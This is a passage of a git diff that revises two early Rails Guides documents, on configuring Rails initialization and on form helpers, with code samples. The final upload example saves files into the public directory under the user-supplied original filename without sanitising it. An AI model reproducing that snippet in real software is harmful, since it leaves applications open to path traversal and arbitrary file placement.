+Rails offers (at least) five good spots to place initialization code:
+
+* Preinitializers
+* environment.rb
+* Environment-specific Configuration Files
+* Initializers (load_application_initializers)
+* After-Initializers
== Using a Preinitializer
-== Initialization Process Settings
+Rails allows you to use a preinitializer to run code before the framework itself is loaded. If you save code in +RAILS_ROOT/config/preinitializer.rb+, that code will be the first thing loaded, before any of the framework components (Active Record, Action Pack, and so on.) If you want to change the behavior of one of the classes that is used in the initialization process, you can do so in this file.
== Configuring Rails Components
+In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The +environment.rb+ and environment-specific configuration files (such as +config/environments/production.rb+) allow you to specify the various settings that you want to pass down to all of the components. For example, the default Rails 2.3 +environment.rb+ file includes one setting:
+
+[source, ruby]
+-------------------------------------------------------
+config.time_zone = 'UTC'
+-------------------------------------------------------
+
+This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same +config+ object:
+
+[source, ruby]
+-------------------------------------------------------
+config.active_record.colorize_logging = false
+-------------------------------------------------------
+
+Rails will use that particular setting to configure Active Record.
+
=== Configuring Active Record
-+ActiveRecord::Base+ includej a variety of configuration options:
++ActiveRecord::Base+ includes a variety of configuration options:
+logger+ accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then passed on to any new database connections made. You can retrieve this logger by calling +logger+ on either an ActiveRecord model class or an ActiveRecord model instance. Set to nil to disable logging.
@@ -125,21 +145,21 @@ There are a number of settings available on +ActionMailer::Base+:
+smtp_settings+ allows detailed configuration for the +:smtp+ delivery method. It accepts a hash of options, which can include any of these options:
-* <tt>:address</tt> - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
-* <tt>:port</tt> - On the off chance that your mail server doesn't run on port 25, you can change it.
-* <tt>:domain</tt> - If you need to specify a HELO domain, you can do it here.
-* <tt>:user_name</tt> - If your mail server requires authentication, set the username in this setting.
-* <tt>:password</tt> - If your mail server requires authentication, set the password in this setting.
-* <tt>:authentication</tt> - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of <tt>:plain</tt>, <tt>:login</tt>, <tt>:cram_md5</tt>.
+* +:address+ - Allows you to use a remote mail server. Just change it from its default "localhost" setting.
+* +:port+ - On the off chance that your mail server doesn't run on port 25, you can change it.
+* +:domain+ - If you need to specify a HELO domain, you can do it here.
+* +:user_name+ - If your mail server requires authentication, set the username in this setting.
+* +:password+ - If your mail server requires authentication, set the password in this setting.
+* +:authentication+ - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of +:plain+, +:login+, +:cram_md5+.
+sendmail_settings+ allows detailed configuration for the +sendmail+ delivery method. It accepts a hash of options, which can include any of these options:
-* <tt>:location</tt> - The location of the sendmail executable. Defaults to <tt>/usr/sbin/sendmail</tt>.
-* <tt>:arguments</tt> - The command line arguments. Defaults to <tt>-i -t</tt>.
+* +:location+ - The location of the sendmail executable. Defaults to +/usr/sbin/sendmail+.
+* +:arguments+ - The command line arguments. Defaults to +-i -t+.
+raise_delivery_errors+ specifies whether to raise an error if email delivery cannot be completed. It defaults to +true+.
-+delivery_method+ defines the delivery method. The allowed values are <tt>:smtp</tt> (default), <tt>:sendmail</tt>, and <tt>:test</tt>.
++delivery_method+ defines the delivery method. The allowed values are +:smtp+ (default), +:sendmail+, and +:test+.
+perform_deliveries+ specifies whether mail will actually be delivered. By default this is +true+; it can be convenient to set it to +false+ for testing.
@@ -151,7 +171,7 @@ There are a number of settings available on +ActionMailer::Base+:
+default_implicit_parts_order+ - When a message is built implicitly (i.e. multiple parts are assembled from templates
which specify the content type in their filenames) this variable controls how the parts are ordered. Defaults to
-<tt>["text/html", "text/enriched", "text/plain"]</tt>. Items that appear first in the array have higher priority in the mail client
++["text/html", "text/enriched", "text/plain"]+. Items that appear first in the array have higher priority in the mail client
and appear last in the mime encoded message.
=== Configuring Active Resource
@@ -174,21 +194,46 @@ There are a few configuration options available in Active Support:
Active Model currently has a single configuration setting:
-+ActiveModel::Errors.default_error_messages is an array containing all of the validation error messages.
++ActiveModel::Errors.default_error_messages+ is an array containing all of the validation error messages.
== Using Initializers
- organization, controlling load order
+
+After it loads the framework plus any gems and plugins in your application, Rails turns to loading initializers. An initializer is any file of ruby code stored under +/config/initializers+ in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and plugins are loaded.
+
+NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the +initializers+ folder on down.
+
+TIP: If you have any ordering dependency in your initializers, you can control the load order by naming. For example, +01_critical.rb+ will be loaded before +02_normal.rb+.
== Using an After-Initializer
+After-initializers are run (as you might guess) after any initializers are loaded. You can supply an +after_initialize+ block (or an array of such blocks) by setting up +config.after_initialize+ in any of the Rails configuration files:
+
+[source, ruby]
+------------------------------------------------------------------
+config.after_initialize do
+ SomeClass.init
+end
+------------------------------------------------------------------
+
+WARNING: Some parts of your application, notably observers and routing, are not yet set up at the point where the +after_initialize+ block is called.
+
== Rails Environment Settings
-ENV
+Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:
+
++ENV['RAILS_ENV']+ defines the Rails environment (production, development, test, and so on) that Rails will run under.
+
++ENV['RAILS_RELATIVE_URL_ROOT']+ is used by the routing code to recognize URLs when you deploy your application to a subdirectory.
+
++ENV["RAILS_ASSET_ID"]+ will override the default cache-busting timestamps that Rails generates for downloadable assets.
+
++ENV["RAILS_CACHE_ID"]+ and +ENV["RAILS_APP_VERSION"]+ are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.
+
++ENV['RAILS_GEM_VERSION']+ defines the version of the Rails gems to use, if +RAILS_GEM_VERSION+ is not defined in your +environment.rb+ file.
== Changelog ==
http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/28[Lighthouse ticket]
+* January 3, 2009: First reasonably complete draft by link:../authors.html#mgunderloy[Mike Gunderloy]
* November 5, 2008: Rough outline by link:../authors.html#mgunderloy[Mike Gunderloy]
-
-need to look for def self. ???
diff --git a/railties/doc/guides/source/form_helpers.txt b/railties/doc/guides/source/form_helpers.txt
index 88ca74a557..d60ed10a39 100644
--- a/railties/doc/guides/source/form_helpers.txt
+++ b/railties/doc/guides/source/form_helpers.txt
@@ -4,13 +4,12 @@ Mislav Marohnić <mislav.marohnic@gmail.com>
Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.
-In this guide we will:
+In this guide you will:
* Create search forms and similar kind of generic forms not representing any specific model in your application;
* Make model-centric forms for creation and editing of specific database records;
* Generate select boxes from multiple types of data;
* Learn what makes a file upload form different;
-* Build complex, multi-model forms.
NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit http://api.rubyonrails.org/[the Rails API documentation] for a complete reference.
@@ -28,7 +27,7 @@ The most basic form helper is `form_tag`.
When called without arguments like this, it creates a form element that has the current page for action attribute and "POST" as method (some line breaks added for readability):
-.Sample rendering of `form_tag`
+.Sample output from `form_tag`
----------------------------------------------------------------------------
<form action="/home/index" method="post">
<div style="margin:0;padding:0">
@@ -38,7 +37,7 @@ When called without arguments like this, it creates a form element that has the
</form>
----------------------------------------------------------------------------
-If you carefully observe this output, you can see that the helper generated something we didn't specify: a `div` element with a hidden input inside. This is a security feature of Rails called *cross-site request forgery protection* and form helpers generate it for every form which action isn't "GET" (provided that this security feature is enabled).
+If you carefully observe this output, you can see that the helper generated something you didn't specify: a `div` element with a hidden input inside. This is a security feature of Rails called *cross-site request forgery protection* and form helpers generate it for every form which action isn't "GET" (provided that this security feature is enabled).
NOTE: Throughout this guide, this `div` with the hidden input will be stripped away to have clearer code samples.
@@ -52,9 +51,9 @@ Probably the most minimal form often seen on the web is a search form with a sin
3. a text input element, and
4. a submit element.
-IMPORTANT: Always use "GET" as the method for search forms. Benefits are many: users are able to bookmark a specific search and get back to it; browsers cache results of "GET" requests, but not "POST"; and other.
+IMPORTANT: Always use "GET" as the method for search forms. Benefits are many: users are able to bookmark a specific search and get back to it; browsers cache results of "GET" requests, but not "POST"; and others.
-To create that, we will use `form_tag`, `label_tag`, `text_field_tag` and `submit_tag`, respectively.
+To create that, you will use `form_tag`, `label_tag`, `text_field_tag` and `submit_tag`, respectively.
.A basic search form
----------------------------------------------------------------------------
@@ -87,27 +86,27 @@ The above view code will result in the following markup:
Besides `text_field_tag` and `submit_tag`, there is a similar helper for _every_ form control in HTML.
-TIP: For every form input, an ID attribute is generated from its name ("q" in our example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
+TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
Multiple hashes in form helper attributes
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-By now we've seen that the `form_tag` helper accepts 2 arguments: the path for the action attribute and an options hash for parameters (like `:method`).
+By now you've seen that the `form_tag` helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class.
-Identical to the `link_to` helper, the path argument doesn't have to be given as string or a named route. It can be a hash of URL parameters that Rails' routing mechanism will turn into a valid URL. Still, we cannot simply write this:
+As with the `link_to` helper, the path argument doesn't have to be given a string. It can be a hash of URL parameters that Rails' routing mechanism will turn into a valid URL. Still, you cannot simply write this:
.A bad way to pass multiple hashes as method arguments
----------------------------------------------------------------------------
-form_tag(:controller => "people", :action => "search", :method => "get")
-# => <form action="/people/search?method=get" method="post">
+form_tag(:controller => "people", :action => "search", :method => "get", :class => "nifty_form")
+# => <form action="/people/search?method=get&class=nifty_form" method="post">
----------------------------------------------------------------------------
-Here we wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL that we didn't want. The solution is to delimit the first hash (or both hashes) with curly brackets:
+Here you wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL with extraneous parameters. The solution is to delimit the first hash (or both hashes) with curly brackets:
.The correct way of passing multiple hashes as arguments
----------------------------------------------------------------------------
-form_tag({:controller => "people", :action => "search"}, :method => "get")
-# => <form action="/people/search" method="get">
+form_tag({:controller => "people", :action => "search"}, :method => "get", :class => "nifty_form")
+# => <form action="/people/search" method="get" class="nifty_form">
----------------------------------------------------------------------------
This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly.
@@ -151,7 +150,7 @@ output:
IMPORTANT: Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region.
-Other form controls we might mention are the text area, password input and hidden input:
+Other form controls worth mentioning are the text area, password input and hidden input:
----------------------------------------------------------------------------
<%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %>
@@ -174,7 +173,7 @@ How do forms with PUT or DELETE methods work?
Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). Still, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms. How does this work, then?
-Rails works around this issue by emulating other methods over POST with a hidden input named `"_method"` that is set to reflect the wanted method:
+Rails works around this issue by emulating other methods over POST with a hidden input named `"_method"` that is set to reflect the desired method:
----------------------------------------------------------------------------
form_tag(search_path, :method => "put")
@@ -189,13 +188,49 @@ output:
...
----------------------------------------------------------------------------
-When parsing POSTed data, Rails will take into account the special `"_method"` parameter and act as if the HTTP method was the one specified inside it ("PUT" in this example).
+When parsing POSTed data, Rails will take into account the special `_method` parameter and act as if the HTTP method was the one specified inside it ("PUT" in this example).
+Different Families of helpers
+------------------------------
+Most of Rails' form helpers are available in two forms.
+
+Barebones helpers
+~~~~~~~~~~~~~~~~~~
+These just generate the appropriate markup. These have names ending in _tag such as `text_field_tag`, `check_box_tag`. The first parameter to these is always the name of the input. This is the name under which value will appear in the `params` hash in the controller. For example if the form contains
+---------------------------
+<%= text_field_tag(:query) %>
+---------------------------
+
+then the controller code should use
+---------------------------
+params[:query]
+---------------------------
+to retrieve the value entered by the user. When naming inputs be aware that Rails uses certain conventions that control whether values appear at the top level of the params hash, inside an array or a nested hash and so on. You can read more about them in the <<parameter_names,parameter names>> section. For details on the precise usage of these helpers, please refer to the http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html[API documentation].
+
+Model object helpers
+~~~~~~~~~~~~~~~~~~~~~
+These are designed to work with a model object (commonly an Active Record object but this need not be the case). These lack the _tag suffix, for example `text_field`, `text_area`.
+
+For these helpers the first arguement is the name of an instance variable and the second is the name a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined `@person` and that person's name is Henry then a form containing:
+
+---------------------------
+<%= text_field(:person, :name) %>
+---------------------------
+will produce output similar to
+---------------------------
+<input id="person_name" name="person[name]" type="text" value="Henry"/>
+---------------------------
+Upon form submission the value entered by the user will be stored in `params[:person][:name]`. The `params[:person]` hash is suitable for passing to `Person.new` or, if `@person` is an instance of Person, `@person.update_attributes`.
+
+[WARNING]
+============================================================================
+You must pass the name of an instance variable, i.e. `:person` or `"person"`, not an actual instance of your model object.
+============================================================================
Forms that deal with model attributes
-------------------------------------
-When we're dealing with an actual model, we will use a different set of form helpers and have Rails take care of some details in the background. In the following examples we will handle an Article model. First, let us have the controller create one:
+While the helpers seen so far are handy Rails can save you some work. For example typically a form is used to edit multiple attributes of a single object, so having to repeat the name of the object being edited is clumsy. The following examples will handle an Article model. First, have the controller create one:
.articles_controller.rb
----------------------------------------------------------------------------
@@ -204,11 +239,11 @@ def new
end
----------------------------------------------------------------------------
-Now we switch to the view. The first thing to remember is that we should use `form_for` helper instead of `form_tag`, and that we should pass the model name and object as arguments:
+Now switch to the view. The first thing to remember is to use the `form_for` helper instead of `form_tag`, and that you should pass the model name and object as arguments:
.articles/new.html.erb
----------------------------------------------------------------------------
-<% form_for :article, @article, :url => { :action => "create" } do |f| %>
+<% form_for :article, @article, :url => { :action => "create" }, :html => {:class => "nifty_form"} do |f| %>
<%= f.text_field :title %>
<%= f.text_area :body, :size => "60x12" %>
<%= submit_tag "Create" %>
@@ -217,39 +252,30 @@ Now we switch to the view. The first thing to remember is that we should use `fo
There are a few things to note here:
-1. `:article` is the name of the model and `@article` is our record.
-2. The URL for the action attribute is passed as a parameter named `:url`.
+1. `:article` is the name of the model and `@article` is the record.
+2. There is a single hash of options. Routing options are passed inside `:url` hash, HTML options are passed in the `:html` hash.
3. The `form_for` method yields *a form builder* object (the `f` variable).
-4. Methods to create form controls are called *on* the form builder object `f` and *without* the `"_tag"` suffix (so `text_field_tag` becomes `f.text_field`).
+4. Methods to create form controls are called *on* the form builder object `f`
The resulting HTML is:
----------------------------------------------------------------------------
-<form action="/articles/create" method="post">
+<form action="/articles/create" method="post" class="nifty_form">
<input id="article_title" name="article[title]" size="30" type="text" />
<textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
<input name="commit" type="submit" value="Create" />
</form>
----------------------------------------------------------------------------
+The name passed to `form_for` controls where in the params hash the form values will appear. Here the name is `article` and so all the inputs have names of the form `article[attribute_name]`. Accordingly, in the `create` action `params[:article]` will be a hash with keys `:title` and `:body`. You can read more about the significance of input names in the <<parameter_names,parameter names>> section.
-A nice thing about `f.text_field` and other helper methods is that they will pre-fill the form control with the value read from the corresponding attribute in the model. For example, if we created the article instance by supplying an initial value for the title in the controller:
-
-----------------------------------------------------------------------------
-@article = Article.new(:title => "Rails makes forms easy")
-----------------------------------------------------------------------------
-
-... the corresponding input will be rendered with a value:
-
-----------------------------------------------------------------------------
-<input id="post_title" name="post[title]" size="30" type="text" value="Rails makes forms easy" />
-----------------------------------------------------------------------------
+The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.
Relying on record identification
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-In the previous chapter we handled the Article model. This model is directly available to users of our application and, following the best practices for developing with Rails, we should declare it *a resource*.
+In the previous chapter you handled the Article model. This model is directly available to users of our application, so -- following the best practices for developing with Rails -- you should declare it *a resource*.
-When dealing with RESTful resources, our calls to `form_for` can get significantly easier if we rely on *record identification*. In short, we can just pass the model instance and have Rails figure out model name and the rest:
+When dealing with RESTful resources, calls to `form_for` can get significantly easier if you rely on *record identification*. In short, you can just pass the model instance and have Rails figure out model name and the rest:
----------------------------------------------------------------------------
## Creating a new article
@@ -265,10 +291,26 @@ form_for(:article, @article, :url => article_path(@article), :method => "put")
form_for(@article)
----------------------------------------------------------------------------
-Notice how the short-style `form_for` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking `record.new_record?`.
+Notice how the short-style `form_for` invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking `record.new_record?`. It also selects the correct path to submit to and the name based on the class of the object.
+
+Rails will also automatically set the class and id of the form appropriately: a form creating an article would have id and class `new_article`. If you were editing the article with id 23 the class would be set to `edit_article` and the id to `edit_article_23`. The attributes will be omitted or brevity in the rest of this guide.
WARNING: When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, `:url` and `:method` explicitly.
+Dealing with namespaces
+^^^^^^^^^^^^^^^^^^^^^^^
+
+If you have created namespaced routes `form_for` has a nifty shorthand for that too. If your application has an admin namespace then
+-------
+form_for [:admin, @article]
+-------
+will create a form that submits to the articles controller inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar:
+
+-------
+form_for [:admin, :management, @article]
+-------
+For more information on Rails' routing system and the associated conventions, please see the link:../routing_outside_in.html[routing guide].
+
Making select boxes with ease
-----------------------------
@@ -286,20 +328,18 @@ Here is what our wanted markup might look like:
</select>
----------------------------------------------------------------------------
-Here we have a list of cities where their names are presented to the user, but internally we want to handle just their IDs so we keep them in value attributes. Let's see how Rails can help out here.
+Here you have a list of cities where their names are presented to the user, but internally the application only wants to handle their IDs so they are used as the options' value attributes. Let's see how Rails can help out here.
The select tag and options
~~~~~~~~~~~~~~~~~~~~~~~~~~
-The most generic helper is `select_tag`, which -- as the name implies -- simply generates the `SELECT` tag that encapsulates the options:
+The most generic helper is `select_tag`, which -- as the name implies -- simply generates the `SELECT` tag that encapsulates an options string:
----------------------------------------------------------------------------
<%= select_tag(:city_id, '<option value="1">Lisabon</option>...') %>
----------------------------------------------------------------------------
-This is a start, but it doesn't dynamically create our option tags. We had to pass them in as a string.
-
-We can generate option tags with the `options_for_select` helper:
+This is a start, but it doesn't dynamically create our option tags. You can generate option tags with the `options_for_select` helper:
----------------------------------------------------------------------------
<%= options_for_select([['Lisabon', 1], ['Madrid', 2], ...]) %>
@@ -311,18 +351,18 @@ output:
...
----------------------------------------------------------------------------
-For input data we used a nested array where each element has two elements: visible value (name) and internal value (ID).
+For input data you use a nested array where each element has two elements: option text (city name) and option value (city id). The option value is what will get submitted to your controller. It is often true that the option value is the id of a corresponding database object but this does not have to be the case.
-Now you can combine `select_tag` and `options_for_select` to achieve the desired, complete markup:
+Knowing this, you can combine `select_tag` and `options_for_select` to achieve the desired, complete markup:
----------------------------------------------------------------------------
<%= select_tag(:city_id, options_for_select(...)) %>
----------------------------------------------------------------------------
-Sometimes, depending on our application's needs, we also wish a specific option to be pre-selected. The `options_for_select` helper supports this with an optional second argument:
+Sometimes, depending on an application's needs, you also wish a specific option to be pre-selected. The `options_for_select` helper supports this with an optional second argument:
----------------------------------------------------------------------------
-<%= options_for_select(cities_array, 2) %>
+<%= options_for_select([['Lisabon', 1], ['Madrid', 2], ...], 2) %>
output:
@@ -333,13 +373,372 @@ output:
So whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option.
+[TIP]
+============================================================================
+The second argument to `options_for_select` must be exactly equal to the desired internal value. In particular if the internal value is the integer 2 you cannot pass "2" to `options_for_select` -- you must pass 2. Be aware of values extracted from the params hash as they are all strings.
+
+============================================================================
+
Select boxes for dealing with models
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Until now we've covered how to make generic select boxes, but in most cases our form controls will be tied to a specific database model. So, to continue from our previous examples, let's assume that we have a "Person" model with a `city_id` attribute.
+Until now you've seen how to make generic select boxes, but in most cases our form controls will be tied to a specific database model. So, to continue from our previous examples, let's assume that you have a "Person" model with a `city_id` attribute.
+
+Consistent with other form helpers, when dealing with models you drop the `_tag` suffix from `select_tag`.
----------------------------------------------------------------------------
-...
+# controller:
+@person = Person.new(:city_id => 2)
+
+# view:
+<%= select(:person, :city_id, [['Lisabon', 1], ['Madrid', 2], ...]) %>
+----------------------------------------------------------------------------
+
+Notice that the third parameter, the options array, is the same kind of argument you pass to `options_for_select`. One advantage here is that you don't have to worry about pre-selecting the correct city if the user already has one -- Rails will do this for you by reading from the `@person.city_id` attribute.
+
+As before, if you were to use `select` helper on a form builder scoped to `@person` object, the syntax would be:
+
+----------------------------------------------------------------------------
+# select on a form builder
+<%= f.select(:city_id, ...) %>
+----------------------------------------------------------------------------
+
+[WARNING]
+=============================
+If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. If you specify `city` instead of `city_id Active Record will raise an error along the lines of
+--------
+ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got Fixnum(#1138750)
+--------
+when you pass the params hash to `Person.new` or `update_attributes`. Another way of looking at this is that form helpers only edit attributes.
+============================
+Option tags from a collection of arbitrary objects
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Until now you were generating option tags from nested arrays with the help of `options_for_select` method. Data in our array were raw values:
+
+----------------------------------------------------------------------------
+<%= options_for_select([['Lisabon', 1], ['Madrid', 2], ...]) %>
+----------------------------------------------------------------------------
+
+But what if you had a *City* model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:
+
+----------------------------------------------------------------------------
+<% cities_array = City.find(:all).map { |city| [city.name, city.id] } %>
+<%= options_for_select(cities_array) %>
+----------------------------------------------------------------------------
+
+This is a perfectly valid solution, but Rails provides a less verbose alternative: `options_from_collection_for_select`. This helper expects a collection of arbitrary objects and two additional arguments: the names of the methods to read the option *value* and *text* from, respectively:
+
+----------------------------------------------------------------------------
+<%= options_from_collection_for_select(City.all, :id, :name) %>
----------------------------------------------------------------------------
-... \ No newline at end of file
+As the name implies, this only generates option tags. To generate a working select box you would need to use it in conjunction with `select_tag`, just as you would with `options_for_select`. A method to go along with it is `collection_select`:
+
+----------------------------------------------------------------------------
+<%= collection_select(:person, :city_id, City.all, :id, :name) %>
+----------------------------------------------------------------------------
+
+To recap, `options_from_collection_for_select` is to `collection_select` what `options_for_select` is to `select`.
+
+Time zone and country select
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+To leverage time zone support in Rails, you have to ask our users what time zone they are in. Doing so would require generating select options from a list of pre-defined TimeZone objects using `collection_select`, but you can simply use the `time_zone_select` helper that already wraps this:
+
+----------------------------------------------------------------------------
+<%= time_zone_select(:person, :city_id) %>
+----------------------------------------------------------------------------
+
+There is also `time_zone_options_for_select` helper for a more manual (therefore more customizable) way of doing this. Read the API documentation to learn about the possible arguments for these two methods.
+
+Rails _used_ to have a `country_select` helper for choosing countries but this has been extracted to the http://github.com/rails/country_select/tree/master[country_select plugin]. When using this do be aware that the exclusion or inclusion of certain names from the list can be somewhat controversial (and was the reason this functionality was extracted from rails)
+
+Date and time select boxes
+--------------------------
+
+The date and time helpers differ from all the other form helpers in two important respects:
+
+1. Unlike other attributes you might typically have, dates and times are not representable by a single input element. Instead you have several, one for each component (year, month, day etc...). So in particular, there is no single value in your params hash with your date or time.
+2. Other helpers use the _tag suffix to indicate whether a helper is a barebones helper or one that operates on model objects. With dates and times, `select\_date`, `select\_time` and `select_datetime` are the barebones helpers, `date_select`, `time_select` and `datetime_select` are the equivalent model object helpers
+
+Both of these families of helpers will create a series of select boxes for the different components (year, month, day etc...).
+
+Barebones helpers
+~~~~~~~~~~~~~~~~~
+The `select_*` family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example
+
+-----------
+<%= select_date Date::today, :prefix => :start_date %>
+-----------
+outputs (with the actual option values omitted for brevity)
+-----------
+<select id="start_date_year" name="start_date[year]"> ... </select>
+<select id="start_date_month" name="start_date[month]"> ... </select>
+<select id="start_date_day" name="start_date[day]"> ... </select>
+-----------
+The above inputs would result in `params[:start_date]` being a hash with keys :year, :month, :day. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example
+-----------
+Date::civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
+-----------
+The :prefix option controls where in the params hash the date components will be placed. Here it was set to `start_date`, if omitted it will default to `date`.
+
+Model object helpers
+~~~~~~~~~~~~~~~~~~~~
+`select_date` does not work well with forms that update or create Active Record objects as Active Record expects each element of the params hash to correspond to one attribute.
+The model object helpers for dates and times submit parameters with special names. When Active Record sees parameters with such names it knows they must be combined with the other parameters and given to a constructor appropriate to the column type. For example
+---------------
+<%= date_select :person, :birth_date %>
+---------------
+outputs (with the actual option values omitted for brevity)
+--------------
+<select id="person_birth_date_1i" name="person[birth_date(1i)]"> ... </select>
+<select id="person_birth_date_2i" name="person[birth_date(2i)]"> ... </select>
+<select id="person_birth_date_3i" name="person[birth_date(3i)]"> ... </select>
+--------------
+which results in a params hash like
+--------------
+{:person => {'birth_date(1i)' => '2008', 'birth_date(2i)' => '11', 'birth_date(3i)' => '22'}}
+--------------
+
+When this is passed to `Person.new`, Active Record spots that these parameters should all be used to construct the `birth_date` attribute and uses the suffixed information to determine in which order it should pass these parameters to functions such as `Date::civil`.
+
+Common options
+~~~~~~~~~~~~~~
+Both families of helpers use the same core set of functions to generate the individual select tags and so both accept largely the same options. In particular, by default Rails will generate year options 5 years either side of the current year. If this is not an appropriate range, the `:start_year` and `:end_year` options override this. For an exhaustive list of the available options, refer to the http://api.rubyonrails.org/classes/ActionView/Helpers/DateHelper.html[API documentation].
+
+As a rule of thumb you should be using `date_select` when working with model objects and `select_date` in others cases, such as a search form which filters results by date.
+
+NOTE: In many cases the built in date pickers are clumsy as they do not aid the user in working out the relationship between the date and the day of the week.
+
+Form builders
+-------------
+
+As mentioned previously the object yielded by `form_for` and `fields_for` is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying a form elements for a single object. While you can of course write helpers for your forms in the usual way you can also subclass FormBuilder and add the helpers there. For example
+
+----------
+<% form_for @person do |f| %>
+ <%= text_field_with_label f, :first_name %>
+<% end %>
+----------
+can be replaced with
+----------
+<% form_for @person, :builder => LabellingFormBuilder do |f| %>
+ <%= f.text_field :first_name %>
+<% end %>
+----------
+by defining a LabellingFormBuilder class similar to the following:
+
+[source, ruby]
+-------
+class LabellingFormBuilder < FormBuilder
+ def text_field attribute, options={}
+ label(attribute) + text_field(attribute, options)
+ end
+end
+-------
+If you reuse this frequently you could define a `labeled_form_for` helper that automatically applies the `:builder => LabellingFormBuilder` option.
+
+The form builder used also determines what happens when you do
+------
+<%= render :partial => f %>
+------
+If `f` is an instance of FormBuilder then this will render the 'form' partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the 'labelling_form' partial would be rendered instead.
+
+Scoping out form controls with `fields_for`
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+`fields_for` creates a form builder in exactly the same way as `form_for` but doesn't create the actual `<form>` tags. It creates a scope around a specific model object like `form_for`, which is useful for specifying additional model objects in the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for editing both like so:
+-------------
+<% form_for @person do |person_form| %>
+ <%= person_form.text_field :name %>
+ <% fields_for @person.contact_detail do |contact_details_form| %>
+ <%= contact_details_form.text_field :phone_number %>
+ <% end %>
+<% end %>
+-------------
+
+which produces the following output:
+
+-------------
+<form action="/people/1" class="edit_person" id="edit_person_1" method="post">
+ <input id="person_name" name="person[name]" size="30" type="text" />
+ <input id="contact_detail_phone_number" name="contact_detail[phone_number]" size="30" type="text" />
+</form>
+-------------
+
+File Uploads
+--------------
+A common task is uploading some sort of file, whether it's a picture of a person or a CSV file containing data to process. The most important thing to remember with file uploads is that the form's encoding *MUST* be set to multipart/form-data. If you forget to do this the file will not be uploaded. This can be done by passing `:multi_part => true` as an HTML option. This means that in the case of `form_tag` it must be passed in the second options hash and in the case of `form_for` inside the `:html` hash.
+
+The following two forms both upload a file.
+-----------
+<% form_tag({:action => :upload}, :multipart => true) do %>
+ <%= file_field_tag 'picture' %>
+<% end %>
+
+<% form_for @person, :html => {:multipart => true} do |f| %>
+ <%= f.file_field :picture %>
+<% end %>
+-----------
+Rails provides the usual pair of helpers: the barebones `file_field_tag` and the model oriented `file_field`. The only difference with other helpers is that you cannot set a default value for file inputs as this would have no meaning. As you would expect in the first case the uploaded file is in `params[:picture]` and in the second case in `params[:person][:picture]`.
+
+What gets uploaded
+~~~~~~~~~~~~~~~~~~
+The object in the params hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an `original_filename` attribute containing the name the file had on the user's computer and a `content_type` attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in `#\{RAILS_ROOT\}/public/uploads` under the same name as the original file (assuming the form was the one in the previous example).
+
+[source, ruby]
+-----------------
+def upload
+ uploaded_io = params[:person][:picture]
+ File.open(Rails.root.join('public', 'uploads', uploaded_io.original_filename), 'w') do |file|
+ file.write(uploaded_io.read)
+ end
+end
+----------------
+
